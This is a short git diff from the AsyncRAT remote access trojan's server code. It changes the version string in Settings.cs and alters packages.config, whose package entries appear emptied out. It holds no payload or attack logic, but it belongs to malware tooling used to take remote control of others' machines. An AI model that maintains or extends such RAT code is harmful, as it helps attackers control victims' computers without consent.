a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index 2164e10..6d9f2b1 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -19,7 +19,7 @@ namespace Server public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.6B"; + public static readonly string Version = "AsyncRAT 0.5.6C"; public static object LockListviewClients = new object(); public static object LockListviewLogs = new object(); public static object LockListviewThumb = new object(); diff --git a/AsyncRAT-C#/Server/packages.config b/AsyncRAT-C#/Server/packages.config index cd75e1e..b6e3272 100644 --- a/AsyncRAT-C#/Server/packages.config +++ b/AsyncRAT-C#/Server/packages.config @@ -1,9 +1,9 @@  - - + + + - - - + + \ No newline at end of file